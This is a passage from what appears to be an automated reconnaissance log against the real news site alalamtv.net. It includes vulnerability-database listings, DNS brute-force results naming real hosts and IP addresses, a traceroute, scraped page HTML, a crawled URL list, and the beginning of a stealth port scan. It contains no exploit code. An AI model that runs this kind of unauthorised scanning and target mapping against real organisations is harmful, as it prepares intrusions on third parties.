7190| [72485] Cisco Unified IP Phones 9900 Series CVE-2015-0604 Arbitrary File Upload Vulnerability
7191| [72484] Cisco Unified IP Phones 9900 Series CVE-2015-0603 Local Denial of Service Vulnerability
7192| [72483] Cisco Unified IP Phones 9900 Series CVE-2015-0601 Local Denial of Service Vulnerability
7193| [72482] Cisco Unified IP Phones 9900 Series CVE-2015-0602 Information Disclosure Vulnerability
7194| [72481] Cisco Unified IP Phones 9900 Series CVE-2015-0600 Denial of Service Vulnerability
7195| [71979] Cisco MDS 9000 NX-OS Software CVE-2015-0582 Denial of Service Vulnerability
7196| [70744] Cisco ASR 901 Series Routers CVE-2014-3293 Denial of Service Vulnerability
7197| [70658] ZTE ZXDSL 931VII 'manager_dev_config_t.gch' Information Disclosure Vulnerability
7198| [69057] Cisco Nexus 9000 Series Switches CVE-2014-3330 Access List Security Bypass Vulnerability
7199| [64770] Cisco Unified IP Phones 9900 Series Crafted Header Unregister Denial of Service Vulnerability
7200| [63564] Cisco MDS 9000 NX-OS Software VRRP Frames Denial of Service Vulnerability
7201| [62944] Cisco Unified IP Phones 9900 Series CVE-2013-5532 Buffer Overflow Vulnerability
7202| [62943] Cisco Unified IP Phones 9900 Series CVE-2013-5533 Local Command Injection Vulnerability
7203| [62905] Cisco Unified IP Phones 9900 Series CVE-2013-5526 Denial of Service Vulnerability
7204| [61330] Cisco Unified IP Phones 9900 Series CVE-2013-3426 Arbitrary File Download Vulnerability
7205| [49633] Oracle Application Server 9i 'httpd.conf' Information Disclosure Vulnerability
7206| [48811] Cisco ASR 9000 Series Routers IP Version 4 Denial of Service Vulnerability
7207| [48264] Aastra 9480i CT Multiple Information Disclosure Vulnerabilities
7208| [15542] NetObjects Fusion 9 Information Disclosure Vulnerability
7209| [6556] Oracle 9i Application Server Sample Scripts Information Disclosure Vulnerability
7210| [6459] Oracle 9i Application Server Java Server Page Source Code Disclosure Vulnerability
7211| [5335] Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
7212| [4290] Oracle 9i Default Configuration File Information Disclosure Vulnerability
7213| [4034] Oracle 9IAS OracleJSP Information Disclosure Vulnerability
7214| [3848] Mandrake Bind 9 Package Insecure File Permissions Vulnerability
7215| [2516] Microsoft Plus! 98 Windows ME Password Disclosure Vulnerability
7216|
7217| IBM X-Force - https://exchange.xforce.ibmcloud.com:
7218| [85799] Cisco Unified IP Phones 9900 Series directory traversal
7219| [75412] Cisco Unified IP Phones 9900 series RT privilege escalation
7220| [68733] Cisco 9000 Series Aggregation Service Router IPv4 packet denial of service
7221| [9704] Multiple Lucent router UDP port 9 could disclose sensitive information
7222| [9250] BIND 9 dns_message_findtype() denial of service
7223| [1852] BIND prior to 4.9.7 buffer overflow affects Digital Firewall 97 users
7224| [539] Microsoft Windows 95 and Internet Explorer password disclosure
7225| [86004] ISC BIND RDATA denial of service
7226| [84767] ISC BIND denial of service
7227| [83066] ISC BIND denial of service
7228| [81504] ISC BIND AAAA denial of service
7229| [80510] ISC BIND DNS64 denial of service
7230| [79121] ISC BIND queries denial of service
7231| [78479] ISC BIND RDATA denial of service
7232| [77185] ISC BIND TCP queries denial of service
7233| [77184] ISC BIND bad cache denial of service
7234| [76034] ISC BIND rdata denial of service
7235| [73053] ISC BIND cache update policy security bypass
7236| [71332] ISC BIND recursive queries denial of service
7237| [68375] ISC BIND UPDATE denial of service
7238| [68374] ISC BIND Response Policy Zones denial of service
7239| [67665] ISC BIND RRSIG Rrsets denial of service
7240| [67297] ISC BIND RRSIG denial of service
7241| [65554] ISC BIND IXFR transfer denial of service
7242| [63602] ISC BIND allow-query security bypass
7243| [63596] ISC BIND zone data security bypass
7244| [63595] ISC BIND RRSIG denial of service
7245| [62072] ISC BIND DNSSEC query denial of service
7246| [62071] ISC BIND ACL security bypass
7247| [61871] ISC BIND anchors denial of service
7248| [60421] ISC BIND RRSIG denial of service
7249| [56049] ISC BIND out-of-bailiwick weak security
7250| [55937] ISC Bind unspecified cache poisoning
7251| [55753] ISC BIND DNSSEC NSEC/NSEC3 cache poisoning
7252| [54416] ISC BIND DNSSEC cache poisoning
7253| [52073] ISC BIND dns_db_findrdataset() denial of service
7254| [47409] Multiple Mozilla products XBL loadBindingDocument information disclosure
7255| [45234] ISC BIND UDP denial of service
7256| [39670] ISC BIND inet_network buffer overflow
7257| [37233] libgssapi ISC BIND Novell SUSE Linux Enterprise Server GSS-TSIG request denial of service
7258| [37128] RHSA update for ISC BIND RRset denial of service not installed
7259| [37127] RHSA update for ISC BIND named service denial of service not installed
7260| [36275] ISC BIND DNS query spoofing
7261| [35575] ISC BIND query ID cache poisoning
7262| [35571] ISC BIND ACL security bypass
7263| [31838] ISC BIND RRset denial of service
7264| [31799] ISC BIND named service denial of service
7265| [29876] HP Tru64 ypbind core dump information disclosure
7266| [28745] ISC BIND DNSSEC RRset denial of service
7267| [28744] ISC BIND recursive INSIST denial of service
7268| [22041] BEA WebLogic Server and Express LDAP anonymous bind information disclosure
7269| [18836] BIND hostname disclosure
7270| [10624] ISC BIND DNS stub resolver library (libresolv.a) stack buffer overflows
7271| [10333] ISC BIND SIG null pointer dereference denial of service
7272| [10332] ISC BIND OPT resource record (RR) denial of service
7273| [10304] ISC BIND SIG cached resource records (RR) heap buffer overflow
7274| [7027] Cisco CBOS Web-based configuration utility binds to port 80 by default
7275| [5814] ISC BIND "
7276| [5540] ISC BIND can be remotely crashed by issuing ZXFR requests
7277| [5462] ISC BIND AXFR host command remote buffer overflow
7278|
7279| Exploit-DB - https://www.exploit-db.com:
7280| [24689] cPanel 9.9.1 -R3 Front Page Extension Installation Information Disclosure
7281| [23059] Netbula Anyboard 9.9.5 6 Information Disclosure Vulnerability
7282| [9300] ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
7283|
7284| OpenVAS (Nessus) - http://www.openvas.org:
7285| [103090] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
7286| [103031] ISC BIND 9 < 9.7.2-P2 Multiple Vulnerabilities
7287| [103030] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
7288| [100717] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
7289| [100458] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
7290| [100362] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
7291| [100251] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
7292| [63208] Fedora Core 9 FEDORA-2009-0350 (bind)
7293| [11226] Oracle 9iAS default error information disclosure
7294|
7295| SecurityTracker - https://www.securitytracker.com:
7296| [1025811] Cisco ASR 9000 Series Router IPv4 Packet Processing Flaw Lets Remote Users Deny Service
7297| [1012995] BIND 9 Validator Assumption Error May Let Remote Users Deny Service
7298| [1005048] Oracle Enterprise Manager Web Service Component of Oracle 9i Application Server Discloses the Web Cache Administrator Password to Local Users
7299| [1003675] Oracle 9iAS Application Server Discloses CGI-BIN Script Source Code to Remote Users
7300| [1001186] Microsoft Windows Me Operating System and Windows 98 with the Plus! 98 Package Disclose Data Compression Passwords
7301| [1028901] (McAfee Issues Advisory for McAfee Email Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7302| [1028900] (McAfee Issues Advisory for McAfee Email and Web Security Appliance) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7303| [1028899] (McAfee Issues Fix for McAfee Web Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7304| [1028866] (McAfee Issues Fix for McAfee Firewall Enterprise) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7305| [1028854] (NetBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7306| [1028849] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7307| [1028848] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7308| [1028839] (FreeBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7309| [1028838] ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
7310| [1028632] ISC BIND RUNTIME_CHECK Error Lets Remote Users Deny Service Against Recursive Resolvers
7311| [1028046] ISC BIND DNS64 and Response Policy Zones (RPZ) Bug Lets Remote Users Deny Service
7312| [1027835] ISC BIND DNS64 Bug Lets Remote Users Deny Service
7313| [1027642] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
7314| [1027529] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
7315| [1026647] ISC BIND Cache Update Policy Can Be Bypassed to Allow Revoked Domain Names to Remain Resolvable
7316| [1026335] ISC BIND Invalid Record Caching Flaw Lets Remote Users Deny Service
7317| [1025743] ISC BIND Response Policy Zones DNAME/CNAME Processing Flaw Lets Remote Users Deny Service
7318| [1025742] ISC BIND Packet Processing Flaw Lets Remote Users Deny Service
7319| [1015850] Samba winbindd Daemon Discloses Server Password to Local Users
7320| [1003359] BindView NETinventory Discloses Password to Local Users During Auditing
7321| [1001721] BIND Domain Name System Software May Disclose DNS Transactional Signature (TSIG) Keys to Local Users
7322|
7323| OSVDB - http://www.osvdb.org:
7324| [86219] Cardiac Science G3 Plus 9390A-501 AED AEDUpdate Cleartext Password Local Disclosure
7325| [22517] MPN HP-180W Wireless IP Phone UDP Port 9090 Information Disclosure
7326| [22516] ZyXEL P-2000W_v2 VoIP Wi-Fi Phone UDP Port 9090 Information Disclosure
7327| [21292] ZyXEL P2000W UDP 9090 Remote Information Disclosure
7328|_
7329Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
7330Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), Linux 3.18 (94%), ASUS RT-N56U WAP (Linux 3.4) (94%), Linux 3.1 (92%), Linux 3.2 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 - 3.16 (92%)
7331No exact OS matches for host (test conditions non-ideal).
7332Network Distance: 9 hops
7333Service Info: OS: Linux; CPE: cpe:/o:redhat:enterprise_linux:7
7334
7335Host script results:
7336| dns-brute:
7337| DNS Brute-force hostnames:
7338| ns1.alalamtv.net - 2.188.3.60
7339| ns2.alalamtv.net - 46.209.229.60
7340| ns3.alalamtv.net - 192.99.38.90
7341| en.alalamtv.net - 192.99.38.90
7342| mail.alalamtv.net - 77.36.164.107
7343| mail.alalamtv.net - 77.36.164.108
7344| www.alalamtv.net - 192.99.38.90
7345|_ ftp.alalamtv.net - 54.36.51.175
7346
7347TRACEROUTE (using port 53/tcp)
7348HOP RTT ADDRESS
73491 81.34 ms 10.244.204.1
73502 81.42 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
73513 81.40 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
73524 81.38 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
73535 ...
73546 81.80 ms bhs-g2-nc5.qc.ca (142.44.208.175)
73557 ...
73568 81.45 ms be50-5.bhs-3a-a9.qc.ca (198.27.73.92)
73579 20.06 ms ns502056.ip-192-99-38.net (192.99.38.90)
7358######################################################################################################################################
7359<!-- jQuery -->
7360<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
7361<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
7362<!--[if lt IE 9]> <link href="/sites/2/style/css/ie8.css" rel="stylesheet" /> <script src="/sites/2/style/js/html5shiv.min.js" type="text/javascript"></script> <script src="/sites/2/style/js/respond.js" type="text/javascript"></script> <![endif]-->
7363 <!-- Statr -->
7364 <!-- <li><a href="/infographic" target="_blank" title="أنفوجرافيك">أنفوجرافيك</a></li>-->
7365 <!-- <li><a href="/photonote" title="صورة وتعليق">صورة وتعليق</a></li>-->
7366 <!-- <li><a href="/kashkol" target="_blank" title="کشکول">کشکول</a></li>-->
7367 <!-- <option data-url='http://en.alalam.ir'>English</option>-->
7368 <!-- <li class="g-plus">
7369 <!-- <li class="telegram">
7370 <input type="text" placeholder="البحث ..." class="TextBox1" name="Name" style="width: 206px;" /><!-- Trigger the modal with a button --><a href="#" id="search-button" class="hidden-sm hidden-xs"></a><a href="#" id="mobile-search-button" class="hidden-lg hidden-md"></a>
7371 <!-- <li><a href="/category/2576" title="افغانستان">افغانستان </a></li>
7372 <!-- <li><a href="/photo">صور</a></li>
7373 <!--
7374 <!-- <li><a href="/photonote" title="صورة وتعليق">صورة وتعليق</a></li>-->
7375 <!-- <li><a href="/category/254" title="كليبات">كليبات</a></li> -->
7376 <!-- <li><a href="/reports" title="تقارير">تقارير</a></li>-->
7377 <!-- /dl-menuwrapper -->
7378 <!-- /container -->
7379<style type="text/css">.fixed-menu .sub-holder .row > ul { width: 100% !important; }</style><!--EndContent--></div></div> <div id="portal-column-2" class="portal-column container-fluid urgent-container" style="position: relative;"><div class='1' lang='2' data-alt='عاجل' id='blockid_2'><script src="/sites/2/style/js/jquery.marquee.min.js"></script>
7380<!--EndContent--></div></div> <div id="portal-column-3" class="portal-column container main_container " style="position: relative;"><div id="portal-column-20" class="portal-column row" style="position: relative;"><div id="portal-column-14" class="portal-column col-lg-9 col-md-12 col-sm-12 col-xs-12" style=""><div id="portal-column-15" class="portal-column col-lg-12 col-md-12 col-xs-12 col-sm-12" style="position: relative;"><div id="portal-column-6" class="portal-column row" style="position: relative;"><div class='first_slider full-width' lang='4' data-alt='أهم الأخبار' id='blockid_4'><div class="row">
7381<ul class="col-lg-5 col-md-5 hidden-xs"><li class='active' data-item="0"><a href="/news/4574066/قائد-حرس-الثورة-صرح-الثورة-الاسلامية-لن-يتزعزع">قائد حرس الثورة: صرح الثورة الاسلامية لن يتزعزع</a></li><li data-item="1"><a href="/news/4574326/لماذا-أمريكا-تريد-خروج-قواتها-من-الشرق-الأوسط؟-فيديو">لماذا أمريكا تريد خروج قواتها من الشرق الأوسط؟+فيديو </a></li><li data-item="2"><a href="/news/4574201/الجبوري-النخبة-السياسية-هي-المسؤولة-عن-الوضع-الموجود">الجبوري: النخبة السياسية هي المسؤولة عن الوضع الموجود</a></li><li data-item="3"><a href="/news/4572976/أطفال-اليمن--أوجاع-الأرواح-المنسيّة">أطفال اليمن.. أوجاع الأرواح المنسيّة!!</a></li><li data-item="4"><a href="/news/4573561/حرس-الثورة-احبطنا-مؤامرة-كبيرة-جدا-في-يومين">حرس الثورة: احبطنا مؤامرة كبيرة جدا في يومين</a></li><li data-item="5"><a href="/news/4572851/مظاهرة-حاشدة-في-تل-أبيب-للمطالبة-باستقالة-نتنياهو">مظاهرة حاشدة في تل أبيب للمطالبة باستقالة نتنياهو</a></li><li data-item="6"><a href="/news/4573141/جيش-ايران-حقق-اكتفاء-ذاتيا-بتقنية-الطائرات-المسيرة">جيش ايران حقق اكتفاء ذاتيا بتقنية الطائرات المسيرة</a></li><li data-item="7"><a href="/news/4573491/اتهامات-اجتماع-المنامة-ضد-ايران-لا-قيمة-لها-ومرفوضة">اتهامات اجتماع المنامة ضد ايران لا قيمة لها ومرفوضة</a></li><li data-item="8"><a href="/news/4573286/معلومات-جديدة--الفغم-قتل-أثناء-تنفيذه-عملية-اغتيال-كبرى">معلومات جديدة.. 'الفغم' قتل أثناء تنفيذه عملية اغتيال كبرى</a></li><li data-item="9"><a href="/news/4573586/حصر-الترشيح-لعضوية-مجلس-النواب-لحاملي-جنسية-العراق">حصر الترشيح لعضوية مجلس النواب لحاملي جنسية العراق</a></li></ul></div><!--EndContent--></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='5' data-alt='خاص بالعالم - مراسلون' id='blockid_5'><h3 class="handle"><a href="/moraseloon">خاص بالعالم - مراسلون</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7382<!--EndContent--></div></div></div><div class='block block-node tem_1 exlosivBox full-width' lang='17' data-alt='مختارات' id='blockid_17'><h3 class="handle">مختارات</h3><div class="content"><div><!--StartContent--><div class="row">
7383<!--EndContent--></div></div></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='21' data-alt='رياضة' id='blockid_21'><h3 class="handle"><a href="/sport">رياضة</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7384<!--EndContent--></div></div></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='20' data-alt='تقاریر' id='blockid_20'><h3 class="handle"><a href="/reports">تقاریر</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7385<!--EndContent--></div></div></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='19' data-alt='نشرة الأخبار' id='blockid_19'><h3 class="handle"><a href="/newscast">نشرة الأخبار</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7386<!--EndContent--></div></div></div><div class='block block-node tem_1 iranHomeBox full-width' lang='3' data-alt='ایران' id='blockid_3'><h3 class="handle"><a href="/iran">ایران</a></h3><div class="content"><div><!--StartContent--><div class="row">
7387<!--EndContent--></div></div></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='22' data-alt='منوعات' id='blockid_22'><h3 class="handle"><a href="/others">منوعات</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7388<!--EndContent--></div></div></div><div class='block block-node tem_1 exclusiv_slider slider_public full-width' lang='23' data-alt='علوم و تکنولوجيا' id='blockid_23'><h3 class="handle"><a href="/category/46">علوم و تکنولوجيا</a></h3><div class="content"><div><!--StartContent--><div class="content_slider">
7389<!--EndContent--></div></div></div><div class='block block-node tem_1 slider_public full-width' lang='6' data-alt='الفیدیوهات' id='blockid_6'><h3 class="handle"><a href="/videos">الفیدیوهات</a></h3><div class="content"><div><!--StartContent--><div class="video_home_slider">
7390<!--EndContent--></div></div></div></div></div><div id="portal-column-8" class="portal-column full-width row" style="position: relative; width:auto"><div id="portal-column-9" class="portal-column col-lg-4 col-md-4 col-sm-12 col-xs-12" style="position: relative;"></div><div id="portal-column-10" class="portal-column col-lg-4 col-md-4 col-sm-12 col-xs-12" style="position: relative;"></div><div id="portal-column-11" class="portal-column col-lg-4 col-md-4 col-sm-12 col-xs-12" style="position: relative;"></div></div></div><div id="portal-column-7" class="portal-column col-lg-3 col-md-12 col-sm-12 col-xs-12" style="position: relative;"><div class='programBoxHome' lang='13' data-alt='البرنامج النووي الايراني' id='blockid_13'><ul>
7391<!--EndContent--></div><div class='ads_tem1' lang='15' data-alt='ads1' id='blockid_15'><div class="ads_block">
7392</div><!--EndContent--></div><div class='block block-node tem_list allnews_box' lang='12' data-alt='آخر الأخبار' id='blockid_12'><h3 class="handle"><a href="/allnews">آخر الأخبار</a></h3><div class="content"><div><!--StartContent--><div class="content_row item_0">
7393</div><!--EndContent--></div></div></div><div class='block block-node tem_list' lang='18' data-alt='الأکثر مشاهدة' id='blockid_18'><h3 class="handle">الأکثر مشاهدة</h3><div class="content"><div><!--StartContent--><ul class="List_Style1" id="top_Visit">
7394</script><!--EndContent--></div></div></div><div class='block block-node photoBox slider_public' lang='11' data-alt='صور ' id='blockid_11'><h3 class="handle"><a href="/photo">صور </a></h3><div class="content"><div><!--StartContent--><div class="photo_homeSlider"><div class="content_row item_0">
7395<!--EndContent--></div></div></div><div class='block block-node photoBox slider_public' lang='10' data-alt='مقالات و تحليلات' id='blockid_10'><h3 class="handle"><a href="/articles">مقالات و تحليلات</a></h3><div class="content"><div><!--StartContent--><div class="photo_homeSlider"><div class="content_row item_0">
7396<!--EndContent--></div></div></div><div class='ads_tem1' lang='16' data-alt='ads2' id='blockid_16'><div class="ads_block">
7397</div><!--EndContent--></div></div></div></div> <div id="portal-column-4" class="portal-column container-fluid footer" style="position: relative;"><div class='' lang='14' data-alt='بلاک خالی' id='blockid_14'><div class="container " style="padding-top: 20px; padding-bottom: 20px;">
7398 <!-- <li class="footer-t img-strip-zoom-effect"><a href="http://alalamarabic.tumblr.com/" target="_blank"></a></li>-->
7399 <!-- <li class="footer-g-plus img-strip-zoom-effect"><a href="https://plus.google.com/+alalam" target="_blank"></a></li>-->
7400 <!--ONLY TABLET-->
7401<!-- Piwik -->
7402<!-- End Piwik Code -->
7403<!-- Start Alexa Certify Javascript -->
7404<!-- End Alexa Certify Javascript -->
7405<!-- Notification -->
7406 <!--
7407<!--EndContent--></div></div> </div>
7408######################################################################################################################################
7409/
7410/aboutus
7411/afghanistan
7412/africa
7413/al-boosala
7414/al-ein-al-israeeliya
7415/Algeria
7416/allnews
7417/almashahd-al-yamani
7418/Altogether
7419/america
7420/articles
7421/asia
7422/Asia-Al-Waste
7423/bahrain
7424/banarooma
7425/bekhtesar
7426/category/106
7427/category/107
7428/category/109
7429/category/113
7430/category/187
7431/category/2116
7432/category/235
7433/category/253
7434/category/254
7435/category/2576
7436/category/2581
7437/category/263
7438/category/275
7439/category/3
7440/category/300
7441/category/358
7442/category/359
7443/category/360
7444/category/361
7445/category/51
7446/category/52
7447/category/53
7448/category/6
7449/category/66
7450/category/85
7451/category/87
7452/contactus
7453/cultural
7454/> <div class=
7455/docs
7456/East-Asia
7457/ebri-newspaper
7458/economic
7459/egypt
7460/emarat
7461/enkelabalsoore
7462/europe
7463/events
7464/hadis-al-Bahrain
7465/how-to-watch
7466https://certify.alexametrics.com/atrk.gif?account=4vvKs1DlQy20Y8
7467https://certify-js.alexametrics.com/atrk.js
7468https://plus.google.com/+alalam
7469https://t.me/alalamarabic
7470https://twitter.com/alalamarabic
7471https://www.gstatic.com/firebasejs/5.10.1/firebase-app.js
7472https://www.gstatic.com/firebasejs/5.10.1/firebase-messaging.js
7473https://www.instagram.com/alalamarabic/
7474http://www.facebook.com/alalamarabic
7475http://www.w3.org/1999/xhtml
7476http://youtube.com/c/AlalamNewsChannel
7477/infographic
7478/iran
7479/iran-defense
7480/iran-economic
7481/iran-politics
7482/iran-tech
7483/iraq
7484/islamic-world
7485/it
7486/jordan
7487/kashkol
7488/kuwait
7489/laqaa-khaas
7490/lebanon
7491/libia
7492/live
7493/maa-alhadas
7494/marawaykom
7495/Mauritania
7496//media.alalamtv.net/uploads/290x185/2019/11/23/157450851053347700.jpg
7497//media.alalamtv.net/uploads/290x185/2019/11/23/157451849740424100.jpg
7498//media.alalamtv.net/uploads/290x185/2019/11/23/157452221286152300.jpg
7499//media.alalamtv.net/uploads/290x185/2019/11/24/157457851736774700.jpg
7500//media.alalamtv.net/uploads/290x185/2019/11/24/157457872373029700.jpg
7501//media.alalamtv.net/uploads/290x185/2019/11/24/157462193021387800.jpg
7502//media.alalamtv.net/uploads/425x245/2019/09/07/156784744635028200.jpg
7503//media.alalamtv.net/uploads/425x245/2019/11/07/157311117521097500.jpg
7504//media.alalamtv.net/uploads/425x245/2019/11/08/157322601292723700.jpg
7505//media.alalamtv.net/uploads/425x245/2019/11/23/157448787259547800.jpg
7506//media.alalamtv.net/uploads/425x245/2019/11/23/157449773899767500.jpg
7507//media.alalamtv.net/uploads/425x245/2019/11/23/157449957371306100.jpg
7508//media.alalamtv.net/uploads/425x245/2019/11/23/157451801339501300.jpg
7509//media.alalamtv.net/uploads/425x245/2019/11/24/157455293577557000.jpg
7510//media.alalamtv.net/uploads/425x245/2019/11/24/157455517407968700.jpg
7511//media.alalamtv.net/uploads/425x245/2019/11/24/157457239329953400.jpg
7512//media.alalamtv.net/uploads/425x245/2019/11/24/157457376361838600.jpg
7513//media.alalamtv.net/uploads/425x245/2019/11/24/157457590115028000.jpg
7514//media.alalamtv.net/uploads/425x245/2019/11/24/157457653928322300.jpg
7515//media.alalamtv.net/uploads/425x245/2019/11/24/157457857588518200.jpg
7516//media.alalamtv.net/uploads/425x245/2019/11/24/157458042849351800.jpg
7517//media.alalamtv.net/uploads/425x245/2019/11/24/157458093356703700.jpg
7518//media.alalamtv.net/uploads/425x245/2019/11/24/157458145477272300.jpg
7519//media.alalamtv.net/uploads/425x245/2019/11/24/157458346908343600.jpg
7520//media.alalamtv.net/uploads/425x245/2019/11/24/157458408436621200.jpg
7521//media.alalamtv.net/uploads/425x245/2019/11/24/157458616819880800.jpg
7522//media.alalamtv.net/uploads/425x245/2019/11/24/157458617691638100.jpg
7523//media.alalamtv.net/uploads/425x245/2019/11/24/157458736639529100.jpg
7524//media.alalamtv.net/uploads/425x245/2019/11/24/157458860187051600.jpg
7525//media.alalamtv.net/uploads/425x245/2019/11/24/157459017062072400.jpg
7526//media.alalamtv.net/uploads/425x245/2019/11/24/157459252811065800.jpg
7527//media.alalamtv.net/uploads/425x245/2019/11/24/157459295810916000.jpg
7528//media.alalamtv.net/uploads/425x245/2019/11/24/157459330996092300.jpg
7529//media.alalamtv.net/uploads/425x245/2019/11/24/157459339782965200.jpg
7530//media.alalamtv.net/uploads/425x245/2019/11/24/157459391284664600.jpg
7531//media.alalamtv.net/uploads/425x245/2019/11/24/157459464881380100.jpg
7532//media.alalamtv.net/uploads/425x245/2019/11/24/157459612387092400.jpg
7533//media.alalamtv.net/uploads/425x245/2019/11/24/157459701488094800.jpg
7534//media.alalamtv.net/uploads/425x245/2019/11/24/157459706810056800.jpg
7535//media.alalamtv.net/uploads/425x245/2019/11/24/157459716003545600.jpg
7536//media.alalamtv.net/uploads/425x245/2019/11/24/157459882929781400.jpg
7537//media.alalamtv.net/uploads/425x245/2019/11/24/157460123539432100.jpg
7538//media.alalamtv.net/uploads/425x245/2019/11/24/157460166223207600.jpg
7539//media.alalamtv.net/uploads/425x245/2019/11/24/157460189892467100.jpg
7540//media.alalamtv.net/uploads/425x245/2019/11/24/157460199967440200.jpg
7541//media.alalamtv.net/uploads/425x245/2019/11/24/157460736407091900.jpg
7542//media.alalamtv.net/uploads/425x245/2019/11/24/157461161445065500.jpg
7543//media.alalamtv.net/uploads/425x245/2019/11/24/157461164838473500.jpg
7544//media.alalamtv.net/uploads/425x245/2019/11/24/157461426589026900.jpg
7545//media.alalamtv.net/uploads/425x245/2019/11/24/157461440896861100.jpg
7546//media.alalamtv.net/uploads/425x245/2019/11/24/157461481608547700.jpg
7547//media.alalamtv.net/uploads/425x245/2019/11/24/157461597104322300.jpg
7548//media.alalamtv.net/uploads/425x245/2019/11/24/157461770152547800.jpg
7549//media.alalamtv.net/uploads/425x245/2019/11/24/157461876678409100.jpg
7550//media.alalamtv.net/uploads/425x245/2019/11/24/157461939533131400.jpg
7551//media.alalamtv.net/uploads/425x245/2019/11/24/157462066365232300.jpg
7552//media.alalamtv.net/uploads/425x245/2019/11/24/157462109519281800.jpg
7553//media.alalamtv.net/uploads/425x245/2019/11/24/157462122244904400.jpg
7554//media.alalamtv.net/uploads/425x245/2019/11/24/157462285688286800.jpg
7555//media.alalamtv.net/uploads/425x245/2019/11/24/157462370317972500.jpg
7556//media.alalamtv.net/uploads/ads/151963289985625100.png
7557//media.alalamtv.net/uploads/ads/151963292592905200.png
7558//media.alalamtv.net/uploads/ads/151963295393188600.png
7559//media.alalamtv.net/uploads/ads/152428776796238600.jpg
7560//media.alalamtv.net/uploads/ads/153278728347101300.png
7561//media.alalamtv.net/uploads/ads/153958585071298700.png
7562//media.alalamtv.net/uploads/ads/155642981350170900.png
7563//media.alalamtv.net/uploads/ads/156852918073616600.png
7564//media.alalamtv.net/uploads/ads/157027953794477200.jpg
7565//media.alalamtv.net/uploads/ads/157427718021295800.png
7566/morocco
7567/newscommentary
7568/novafez
7569/oman
7570/others
7571/pakistan
7572/palestine
7573/photo
7574/photonote
7575/programs
7576//pw.alalamtv.net/
7577//pw.alalamtv.net/piwik.php?idsite=1
7578/qalam-rosas
7579/qatar
7580/qayaheb-al-kiyan
7581/reports
7582/rss
7583/sabah-jadid
7584/saudia
7585/serials
7586/SIGNAL
7587/sites/2/style/css/hover-min.css
7588/sites/2/style/css/ie8.css
7589/sites/2/style/css/slick.css
7590/sites/2/style/image/preload.jpg
7591/sites/2/style/js/custom3.js?v=128
7592/sites/2/style/js/jquery.dlmenu.js
7593/sites/2/style/js/modernizr.custom.js
7594/sites/2/style/js/slick.js
7595/sport
7596/studio-beirut
7597/Sudan
7598/syria
7599/tech
7600text/css
7601text/javascript
7602/todaysissue
7603/tunisia
7604/turkey
7605/videographic
7606/videos
7607-//W3C//DTD XHTML 1.0 Transitional//EN
7608/whatsapp
7609/widget/notification/config.js
7610/widget/notification/init.js
7611/world
7612/yemen
7613/yoghal
7614طي
7615#######################################################################################################################################
7616http://www.alalamtv.net [301 Moved Permanently] Country[CANADA][CA], HTTPServer[Varnish], IP[192.99.38.90], RedirectLocation[https://www.alalamtv.net/], Title[301 Moved Permanently], UncommonHeaders[x-varnish], Varnish
7617https://www.alalamtv.net/ [200 OK] Country[CANADA][CA], Google-Analytics[Universal][UA-131115355-3], HTTPServer[nginx], IP[192.99.38.90], JQuery, Modernizr, Open-Graph-Protocol[website][966242223397117], Script[text/javascript], Title[قناة العالم الاخبارية], X-UA-Compatible[IE=8,IE=edge], nginx
7618######################################################################################################################################
7619Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 22:37 EST
7620NSE: Loaded 163 scripts for scanning.
7621NSE: Script Pre-scanning.
7622Initiating NSE at 22:37
7623Completed NSE at 22:37, 0.00s elapsed
7624Initiating NSE at 22:37
7625Completed NSE at 22:37, 0.00s elapsed
7626Initiating Parallel DNS resolution of 1 host. at 22:37
7627Completed Parallel DNS resolution of 1 host. at 22:37, 0.02s elapsed
7628Initiating SYN Stealth Scan at 22:37
7629Scanning www.alalamtv.net (192.99.38.90) [1 port]
7630Discovered open port 80/tcp on 192.99.38.90
7631Completed SYN Stealth Scan at 22:37, 0.06s elapsed (1 total ports)
7632Initiating Service scan at 22:37
7633Scanning 1 service on www.alalamtv.net (192.99.38.90)
7634Completed Service scan at 22:38, 6.24s elapsed (1 service on 1 host)
7635Initiating OS detection (try #1) against www.alalamtv.net (192.99.38.90)
